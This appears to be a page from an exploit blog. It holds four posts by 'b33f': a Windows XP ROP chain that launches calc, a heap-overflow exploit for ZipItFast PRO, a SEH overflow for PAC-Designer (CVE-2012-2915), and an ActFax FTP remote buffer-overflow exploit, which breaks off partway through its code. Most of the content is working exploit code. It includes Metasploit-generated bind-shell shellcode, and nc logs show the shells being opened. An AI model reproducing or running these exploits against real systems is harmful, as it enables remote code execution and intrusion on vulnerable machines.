Exploit-ID » b33f

Windows XP PRO SP3 – Full ROP calc shellcode

admin — Fri, 21 Dec 2012 09:49:53 +0000

/*
    Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode
    Author: b33f (http://www.fuzzysecurity.com/)
    Notes: This is probably not the most efficient way but
           I gave the dll's a run for their money ;))
    Greets: Donato, Jahmel
 
    OS-DLL's used:
       Base    |    Top     |   Size     |    Version (Important!)
    ___________|____________|____________|_____________________________
    0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll]
    0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll]
    0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll]
 
    UINT WINAPI WinExec(            => PTR to WinExec
      __in  LPCSTR lpCmdLine,       => C:\WINDOWS\system32\calc.exe+00000000
      __in  UINT uCmdShow           => 0x1
    );
*/
 
#include 
#include "windows.h"
 
char shellcode[]=
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xf9\x10\x47\x7e"  // Writable PTR USER32.dll
"\x27\xfa\x87\x7c"  // POP EDX # POP EAX # RETN
"\x43\x3a\x5c\x57"  // ASCII "C:\W"
"\x49\x4e\x44\x4f"  // ASCII "INDO"
"\x04\x18\x80\x7c"  // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x57\x53\x5c\x73"  // ASCII "WS\s"
"\x38\xd6\x46\x7e"  // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x79\x73\x74\x65"  // ASCII "yste"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x63\x61\x6c\x63"  // ASCII "calc"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x6d\x33\x32\x5c"  // ASCII "m32\"
"\xcb\xbe\x45\x7e"  // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x2e\x65\x78\x65"  // ASCII ".exe"
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\x9e\x2e\x92\x7c"  // XOR EAX,EAX # RETN
"\x31\xa9\x91\x7c"  // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
"\xee\x4c\x97\x7c"  // DEC ECX # RETN
//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
"\xe5\x02\x88\x7c"  // POP EAX # RETN
"\x7a\xeb\xc3\x6f"  // Should result in a valid PTR in kernel32.dll
"\x4f\xda\x85\x7c"  // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x32\xd9\x44\x7e"  // XCHG EAX,EDI # RETN
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
"\x62\x28\x97\x7c"  // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c"  // Compensate POP
//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\x33\x80\x97\x7c"  // INC EAX # RETN
"\xf5\xd6\x91\x7c"  // XOR ECX,ECX # RETN
"\x07\x3d\x96\x7c"  // INC ECX # RETN
"\xd6\xd1\x95\x7c"  // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\xb1\x4f\x97\x7c"  // POP ECX # RETN
"\xed\x2a\x86\x7c"  // WinExec()
"\xe7\xc1\x87\x7c"  // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c"  // Compensate POP
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Compensate RETN
"\x8a\x20\x87\x7c"  // Final RETN for WinExec()
"\x8a\x20\x87\x7c"; // Compensate WinExec()
//------------------------------------------------------[Write Arguments and execute -> calc]-//
 
void buff() {
	char a;
	memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9
}
 
int main()
{
    LoadLibrary("USER32.dll"); // we need this dll
	char buf[1024];
	buff();
	return 0;
}

ZipItFast PRO v3.0 Heap Overflow Exploit

admin — Thu, 19 Jul 2012 15:03:07 +0000

^?View Code WINDOWS

#!/usr/bin/perl
 
#---------------------------------------------------------------------------#
# Exploit: ZipItFast PRO v3.0 Heap-Overflow                                 #
# Author: b33f - http://www.fuzzysecurity.com/                              #
# OS: Windows XP SP1                                                        #
# DOS POC: C4SS!0 G0M3S => http://www.exploit-db.com/exploits/17512/        #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/            #
#           applications/decbc54ffcf644e780a3ef4fcdd27093-zipitfastnow.exe  #
#---------------------------------------------------------------------------#
# Sorry for reinventing the wheel but learning about heap-overflows         #
# requires you to take a step back and roll with the punches not unlike     #
# watching a David Lynch production ;))...                                  #
#                                                                           #
# - "Who is that lady with the log?"                                        #
# + "We call her the log-lady.."                                            #
#---------------------------------------------------------------------------#
# root@bt:~# nc -nv 192.168.111.131 9988                                    #
# (UNKNOWN) [192.168.111.131] 9988 (?) open                                 #
# Microsoft Windows XP [Version 5.1.2600]                                   #
# (C) Copyright 1985-2001 Microsoft Corp.                                   #
#                                                                           #
# C:\Documents and Settings\Owner\Desktop>                                  #
#---------------------------------------------------------------------------#
 
use strict;
use warnings;
 
my $filename = "Exploit.zip";
 
my $head = 
"\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00";
 
my $head2 = 
"\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";
 
my $head3 = 
"\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
 
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t
# [*] x86/alpha_mixed succeeded with size 744 (iteration=1)
my $ph33r = 
"\x89\xe2\xda\xd5\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x39\x6c\x39\x78\x4c\x49\x55\x50\x47\x70" .
"\x55\x50\x35\x30\x6f\x79\x59\x75\x54\x71\x78\x52\x52\x44" .
"\x6e\x6b\x42\x72\x44\x70\x6e\x6b\x30\x52\x56\x6c\x4e\x6b" .
"\x30\x52\x35\x44\x4e\x6b\x52\x52\x77\x58\x56\x6f\x68\x37" .
"\x61\x5a\x46\x46\x64\x71\x79\x6f\x74\x71\x6f\x30\x6c\x6c" .
"\x75\x6c\x65\x31\x33\x4c\x56\x62\x34\x6c\x31\x30\x6f\x31" .
"\x4a\x6f\x64\x4d\x73\x31\x6a\x67\x6d\x32\x4c\x30\x70\x52" .
"\x56\x37\x4e\x6b\x50\x52\x76\x70\x6c\x4b\x61\x52\x77\x4c" .
"\x73\x31\x6a\x70\x4c\x4b\x37\x30\x52\x58\x6f\x75\x79\x50" .
"\x72\x54\x73\x7a\x45\x51\x4a\x70\x42\x70\x4c\x4b\x32\x68" .
"\x65\x48\x6c\x4b\x63\x68\x65\x70\x76\x61\x39\x43\x6b\x53" .
"\x65\x6c\x77\x39\x4e\x6b\x76\x54\x4c\x4b\x76\x61\x48\x56" .
"\x76\x51\x49\x6f\x55\x61\x79\x50\x6e\x4c\x6f\x31\x58\x4f" .
"\x56\x6d\x45\x51\x38\x47\x66\x58\x69\x70\x42\x55\x6a\x54" .
"\x74\x43\x53\x4d\x5a\x58\x77\x4b\x73\x4d\x64\x64\x33\x45" .
"\x48\x62\x73\x68\x6e\x6b\x61\x48\x76\x44\x76\x61\x6a\x73" .
"\x50\x66\x6e\x6b\x46\x6c\x62\x6b\x6c\x4b\x36\x38\x35\x4c" .
"\x56\x61\x4b\x63\x6c\x4b\x43\x34\x6e\x6b\x33\x31\x7a\x70" .
"\x6e\x69\x62\x64\x34\x64\x56\x44\x33\x6b\x63\x6b\x50\x61" .
"\x31\x49\x73\x6a\x72\x71\x79\x6f\x59\x70\x32\x78\x33\x6f" .
"\x32\x7a\x4e\x6b\x56\x72\x68\x6b\x6b\x36\x43\x6d\x71\x78" .
"\x47\x43\x55\x62\x47\x70\x67\x70\x71\x78\x53\x47\x42\x53" .
"\x50\x32\x31\x4f\x46\x34\x53\x58\x70\x4c\x30\x77\x76\x46" .
"\x47\x77\x6b\x4f\x38\x55\x6f\x48\x6e\x70\x37\x71\x77\x70" .
"\x77\x70\x65\x79\x6f\x34\x42\x74\x76\x30\x75\x38\x46\x49" .
"\x6b\x30\x30\x6b\x53\x30\x79\x6f\x4e\x35\x30\x50\x62\x70" .
"\x62\x70\x52\x70\x33\x70\x42\x70\x51\x50\x42\x70\x72\x48" .
"\x68\x6a\x74\x4f\x39\x4f\x79\x70\x69\x6f\x4e\x35\x6e\x69" .
"\x6f\x37\x34\x71\x4b\x6b\x76\x33\x63\x58\x66\x62\x65\x50" .
"\x35\x77\x55\x54\x6e\x69\x4a\x46\x51\x7a\x56\x70\x33\x66" .
"\x66\x37\x51\x78\x6f\x32\x39\x4b\x77\x47\x55\x37\x6b\x4f" .
"\x4b\x65\x66\x33\x31\x47\x50\x68\x4d\x67\x48\x69\x75\x68" .
"\x4b\x4f\x49\x6f\x4e\x35\x32\x73\x62\x73\x62\x77\x32\x48" .
"\x43\x44\x68\x6c\x45\x6b\x6d\x31\x6b\x4f\x4e\x35\x42\x77" .
"\x6f\x79\x78\x47\x52\x48\x62\x55\x70\x6e\x30\x4d\x75\x31" .
"\x6b\x4f\x59\x45\x53\x58\x50\x63\x62\x4d\x32\x44\x73\x30" .
"\x4f\x79\x79\x73\x63\x67\x56\x37\x73\x67\x35\x61\x39\x66" .
"\x51\x7a\x66\x72\x36\x39\x61\x46\x58\x62\x6b\x4d\x63\x56" .
"\x39\x57\x70\x44\x34\x64\x37\x4c\x53\x31\x57\x71\x4e\x6d" .
"\x70\x44\x66\x44\x74\x50\x7a\x66\x75\x50\x42\x64\x62\x74" .
"\x36\x30\x71\x46\x42\x76\x30\x56\x72\x66\x30\x56\x30\x4e" .
"\x70\x56\x76\x36\x73\x63\x53\x66\x33\x58\x72\x59\x38\x4c" .
"\x47\x4f\x4c\x46\x59\x6f\x4a\x75\x6f\x79\x59\x70\x50\x4e" .
"\x53\x66\x71\x56\x59\x6f\x56\x50\x75\x38\x34\x48\x6f\x77" .
"\x37\x6d\x63\x50\x59\x6f\x79\x45\x4f\x4b\x48\x70\x6c\x75" .
"\x4c\x62\x31\x46\x45\x38\x6f\x56\x5a\x35\x4d\x6d\x6f\x6d" .
"\x79\x6f\x5a\x75\x55\x6c\x37\x76\x53\x4c\x45\x5a\x4f\x70" .
"\x79\x6b\x4d\x30\x43\x45\x73\x35\x4d\x6b\x63\x77\x77\x63" .
"\x70\x72\x50\x6f\x70\x6a\x77\x70\x61\x43\x59\x6f\x79\x45" .
"\x41\x41";
 
my $buf1 = "A" x 4064 . ".txt";
 
#################
# EAX => 256-bytes => 0x77fc3210 - 0x04 => 0x77fc320c (_VECTORED_EXCEPTION_NODE)
# EDX => 260-bytes => 0x0012FA28 - 0x08 => 0x0012FA20 (PTR shellcode)
# Jump over Blink and Flink => EB 0A
#################
my $magic = "\xEB\x0A" . "\x0C\x32\xFC\x77" . "\x20\xFA\x12\x00";
 
##################
# Notice that the offsets don't correspond exactly. I experienced some buffer
# expansion and compression depending on the buffer structure so keep that in
# mind if you want to do some testing.
#
# Remember to set Anti-Debugging flags in your debugger..
# (immunity = > !hidedebug All_Debug)
##################
my $buf2 = "\x90" x 253 . $magic . "A" x 300 . $ph33r . "A" x 2756 . ".txt";
 
my $zip = $head.$buf1.$head2.$buf2.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);

Lattice Semiconductor PAC-Designer 6.21 (*.PAC) Exploit

admin — Fri, 08 Jun 2012 03:14:36 +0000

^?View Code WINDOWS

#!/usr/bin/python -w
 
#------------------------------------------------------------------------------------#
# Exploit: Lattice Semiconductor PAC-Designer 6.21 (possibly all versions)           #
# CVE: CVE-2012-2915                                                                 #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                        #
# OS: WinXP SP1                                                                      #
# Software: http://www.latticesemi.com/products/designsoftware/pacdesigner/index.cfm #
#------------------------------------------------------------------------------------#
# I didn't dig to deep but it seems portability to other OS builds is not promising  #
# due to SafeSEH and badchars in the application modules.                            #
#------------------------------------------------------------------------------------#
# root@bt:~# nc -nv 192.168.111.130 9988                                             #
#  (UNKNOWN) [192.168.111.130] 9988 (?) open                                         #
#  Microsoft Windows XP [Version 5.1.2600]                                           #
#  (C) Copyright 1985-2001 Microsoft Corp.                                           #
#                                                                                    #
#  C:\Documents and Settings\Owner\Desktop>                                          #
#------------------------------------------------------------------------------------#
 
filename="evil.PAC"
 
PAC1 = """
 

 
1
ispPAC-CLK5410D
 
PAC-Designer 6.21.1336
 

Oops..
b33f

 

  
    153
    Profile 0 Ref Frequency
    """
 
#------------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c  #
# [*] x86/alpha_mixed succeeded with size 744 (iteration=1)                          #
#------------------------------------------------------------------------------------#
shellcode = (
"\x89\xe3\xd9\xd0\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x79\x6c\x59\x78\x4e\x69\x35\x50\x35\x50\x57\x70\x53\x50\x6b"
"\x39\x6a\x45\x35\x61\x38\x52\x73\x54\x4c\x4b\x36\x32\x70\x30"
"\x4e\x6b\x56\x32\x36\x6c\x6e\x6b\x72\x72\x32\x34\x6e\x6b\x33"
"\x42\x66\x48\x56\x6f\x38\x37\x61\x5a\x45\x76\x56\x51\x59\x6f"
"\x45\x61\x59\x50\x6e\x4c\x67\x4c\x73\x51\x73\x4c\x74\x42\x46"
"\x4c\x45\x70\x4b\x71\x58\x4f\x54\x4d\x63\x31\x69\x57\x78\x62"
"\x7a\x50\x46\x32\x63\x67\x6e\x6b\x70\x52\x66\x70\x4e\x6b\x30"
"\x42\x47\x4c\x76\x61\x6e\x30\x4e\x6b\x57\x30\x73\x48\x4b\x35"
"\x69\x50\x72\x54\x53\x7a\x75\x51\x6e\x30\x36\x30\x6e\x6b\x72"
"\x68\x55\x48\x6e\x6b\x30\x58\x31\x30\x65\x51\x5a\x73\x7a\x43"
"\x75\x6c\x72\x69\x6c\x4b\x64\x74\x4c\x4b\x45\x51\x6a\x76\x74"
"\x71\x79\x6f\x76\x51\x4f\x30\x6c\x6c\x69\x51\x6a\x6f\x64\x4d"
"\x35\x51\x69\x57\x45\x68\x4d\x30\x74\x35\x6b\x44\x75\x53\x73"
"\x4d\x49\x68\x67\x4b\x61\x6d\x45\x74\x30\x75\x69\x72\x32\x78"
"\x4c\x4b\x51\x48\x36\x44\x55\x51\x38\x53\x51\x76\x6c\x4b\x66"
"\x6c\x42\x6b\x6c\x4b\x66\x38\x37\x6c\x66\x61\x38\x53\x4e\x6b"
"\x63\x34\x6c\x4b\x67\x71\x48\x50\x6d\x59\x72\x64\x56\x44\x74"
"\x64\x33\x6b\x31\x4b\x53\x51\x66\x39\x62\x7a\x72\x71\x59\x6f"
"\x4b\x50\x33\x68\x31\x4f\x62\x7a\x4c\x4b\x35\x42\x4a\x4b\x6d"
"\x56\x31\x4d\x42\x48\x36\x53\x30\x32\x57\x70\x33\x30\x42\x48"
"\x71\x67\x52\x53\x57\x42\x43\x6f\x71\x44\x42\x48\x50\x4c\x43"
"\x47\x71\x36\x53\x37\x79\x6f\x58\x55\x58\x38\x6a\x30\x56\x61"
"\x65\x50\x73\x30\x76\x49\x6a\x64\x43\x64\x30\x50\x52\x48\x47"
"\x59\x4d\x50\x30\x6b\x57\x70\x39\x6f\x6e\x35\x72\x70\x76\x30"
"\x52\x70\x36\x30\x31\x50\x36\x30\x43\x70\x76\x30\x32\x48\x69"
"\x7a\x64\x4f\x69\x4f\x79\x70\x49\x6f\x79\x45\x6e\x69\x4a\x67"
"\x34\x71\x49\x4b\x62\x73\x43\x58\x63\x32\x77\x70\x56\x47\x76"
"\x64\x6d\x59\x79\x76\x32\x4a\x56\x70\x32\x76\x61\x47\x63\x58"
"\x38\x42\x4b\x6b\x67\x47\x53\x57\x59\x6f\x4e\x35\x31\x43\x76"
"\x37\x33\x58\x48\x37\x69\x79\x35\x68\x69\x6f\x79\x6f\x6e\x35"
"\x30\x53\x31\x43\x63\x67\x35\x38\x51\x64\x38\x6c\x75\x6b\x49"
"\x71\x59\x6f\x79\x45\x43\x67\x6c\x49\x5a\x67\x42\x48\x52\x55"
"\x30\x6e\x70\x4d\x61\x71\x79\x6f\x58\x55\x32\x48\x33\x53\x30"
"\x6d\x33\x54\x43\x30\x4e\x69\x49\x73\x56\x37\x33\x67\x62\x77"
"\x54\x71\x59\x66\x71\x7a\x57\x62\x32\x79\x36\x36\x38\x62\x6b"
"\x4d\x61\x76\x58\x47\x51\x54\x74\x64\x57\x4c\x75\x51\x55\x51"
"\x6e\x6d\x77\x34\x46\x44\x44\x50\x68\x46\x37\x70\x50\x44\x31"
"\x44\x76\x30\x72\x76\x61\x46\x72\x76\x50\x46\x43\x66\x72\x6e"
"\x31\x46\x76\x36\x71\x43\x30\x56\x33\x58\x43\x49\x38\x4c\x47"
"\x4f\x6c\x46\x59\x6f\x6b\x65\x4f\x79\x79\x70\x32\x6e\x32\x76"
"\x57\x36\x39\x6f\x70\x30\x43\x58\x45\x58\x4b\x37\x35\x4d\x73"
"\x50\x79\x6f\x6e\x35\x4d\x6b\x6c\x30\x6c\x75\x79\x32\x73\x66"
"\x62\x48\x6f\x56\x4c\x55\x4d\x6d\x6d\x4d\x39\x6f\x6a\x75\x65"
"\x6c\x47\x76\x73\x4c\x64\x4a\x6d\x50\x79\x6b\x49\x70\x33\x45"
"\x54\x45\x4f\x4b\x63\x77\x47\x63\x33\x42\x72\x4f\x51\x7a\x37"
"\x70\x30\x53\x79\x6f\x68\x55\x41\x41")
 
#------------------------------------------------------------------------------------#
# SEH: 0x77512879 : pop esi # pop ecx # ret - SHELL32.dll                            #
# nSEH: \xEB\x05                                                                     #
#------------------------------------------------------------------------------------#
b00m = "\x90"*20 + shellcode
payload = "A"*98 + "\xEB\x05\x79\x28\x51\x77" + b00m + "C"*(5000-len(b00m))
 
PAC2 = """
  

 
"""
 
buffer = PAC1 + payload + PAC2
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

ActFax Server FTP Remote BOF (post auth) Bigger Buffer

admin — Wed, 08 Jun 2011 18:29:46 +0000

^?View Code WINDOWS

#!/usr/bin/python
 
#-----------------------------------------------------------------------------------
# Exploit Title: ActFax Server FTP Remote BOF (post auth)
# Author: b33f - Ruben Boonen
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe
# Tested on: Windows XP PRO SP3 (version 2002) - VMware Workstation
#-----------------------------------------------------------------------------------
# Credit goes to chap0 for discovering the bug.
# Allot of thanks to PoURaN, for helping a n00b understand assembly better!!!
#-----------------------------------------------------------------------------------
 
import socket
import sys
 
print "\nActFax XP SP3 Pro..."
print "Hunting for alphanumeric code!!\n"
 
#-----------------------------------------------------------------------------------
# payload => win32_bind LPORT=9988 Size=709 => Encoder=PexAlphaNum
#-----------------------------------------------------------------------------------
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38"
"\x4e\x56\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x42\x4a\x42\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x56\x46\x42\x4e\x51\x41\x56\x43\x4c\x41\x33\x4b\x4d"
"\x46\x46\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x50\x4b\x38"
"\x42\x47\x4e\x51\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x35\x4a\x56"
"\x50\x38\x50\x54\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36"
"\x43\x35\x48\x36\x4a\x56\x43\x33\x44\x33\x4a\x46\x47\x47\x43\x47"
"\x44\x33\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e"
"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x55\x43\x45\x43\x55\x43\x44"
"\x43\x35\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x47\x52"
"\x46\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x59\x4a\x36\x46\x4a"
"\x4c\x51\x42\x57\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x56\x42\x31"
"\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32"
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x34\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x35\x46\x55\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
"\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x45\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x36\x4c\x56\x46\x46\x48\x36\x4a\x46\x43\x46"
"\x4d\x56\x49\x38\x45\x4e\x4c\x46\x42\x45\x49\x35\x49\x42\x4e\x4c"
"\x49\x58\x47\x4e\x4c\x46\x46\x44\x49\x38\x44\x4e\x41\x53\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x44\x4e\x32"
"\x43\x59\x4d\x58\x4c\x57\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x44\x4f\x4f"
"\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x55\x41\x45\x41\x35\x4c\x56"
"\x41\x30\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x56"
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
"\x43\x38\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
"\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")
 
#-----------------------------------------------------------------------------------
# ASCII encoded  => Size=52
# Decoded opcode => E9DE140000 - JMP 0178D7A7
#-----------------------------------------------------------------------------------
farjump = (
"\x25\x4A\x4D\x4E\x55"     # AND EAX,554E4D4A
"\x25\x35\x32\x31\x2A"     # AND EAX,2A313235
"\x2D\x55\x55\x55\x5A"     # SUB EAX,5A555555
"\x2D\x55\x55\x55\x5A"     # SUB EAX,5A555555
